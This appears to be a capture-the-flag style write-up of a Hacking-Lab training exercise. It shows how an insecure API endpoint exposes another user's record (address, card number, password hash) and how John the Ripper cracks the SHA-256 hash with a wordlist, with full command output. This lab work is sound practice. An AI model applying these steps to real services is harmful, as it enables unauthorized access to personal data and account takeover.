

Task 4:

1. Log in as Alice start burp
2. Go to community
3. In Burp you see the json command: /api/users, there are all users with all uid
4. Got to the address area and type in: <https://b006481a-3f47-4005-9423-363c90d2de1e.i.vuln.land/api/user/102>
5. You get alle the information from the user Bob with the hashed password!

```
← → ↻ 🏠 https://b006481a-3f47-4005-9423-363c90d2de1e.i.vuln.land/api/user/102
🌐 Bug Bounty 📁 Hacking-Lab 📁 Compass Security 📁 HL Blog 📁 Kali 📁 HL Jira Service Desk
{
  address: "Palm Passe 13",
  credit_card: "1325 4455 6767 9810",
  password_hash: "985089972f3b4fc822a99bb38b6051935954944265f932a88e6e265bb9d2f90c",
  phone: "+41 789 677 655",
  picture: "user102.png",
  role: "user",
  uid: 102,
  username: "bob"
}
```

6. Create the file "hashes.txt" and write:

```
vi hashes.txt
bob:985089972f3b4fc822a99bb38b6051935954944265f932a88e6e265bb9d2f90c
```

7. download the 10millionpassword from github
8. in the command line execute:
john hashes.txt --format=raw-sha256 --wordlist=10millionpasswords.txt --rules=all
9. Wait 30 minutes and you get:

```
> john hashes.txt --format=raw-sha256 --wordlist=10millionpasswords.txt --rules=all
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:06 0.06% (ETA: 22:50:16) 0g/s 5659Kp/s 5659Kc/s 5659KC/s rjycnfybyun..ncc1701uu
0g 0:00:00:41 1.12% (ETA: 21:00:57) 0g/s 3707Kp/s 3707Kc/s 3707KC/s 02101977583..Grapes590
0g 0:00:06:46 6.21% (ETA: 21:49:08) 0g/s 8537Kp/s 8537Kc/s 8537KC/s h:elper799..1:6011987806
0g 0:00:10:00 9.32% (ETA: 21:47:23) 0g/s 8729Kp/s 8729Kc/s 8729KC/s Intercou>rse554..Sherwood>574
0g 0:00:10:07 9.63% (ETA: 21:45:09) 0g/s 8664Kp/s 8664Kc/s 8664KC/s 123456789]0q071..Universit]y250
0g 0:00:13:40 13.44% (ETA: 21:41:45) 0g/s 8510Kp/s 8510Kc/s 8510KC/s 9926hobbit..9932carver
0g 0:00:18:24 17.54% (ETA: 21:45:00) 0g/s 9034Kp/s 9034Kc/s 9034KC/s 70Joshua{..702223334'
0g 0:00:20:05 19.00% (ETA: 21:45:49) 0g/s 9161Kp/s 9161Kc/s 9161KC/s rodman*#]..dragonballz*#,
0g 0:00:26:20 23.40% (ETA: 21:52:37) 0g/s 9026Kp/s 9026Kc/s 9026KC/s Howell87261..Charlene87268
bob.123 (bob)
1g 0:01:54:18 DONE (2024-10-22 21:54) 0.000145g/s 10063Kp/s 10063Kc/s 10063KC/s mid-get..29913/027
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
```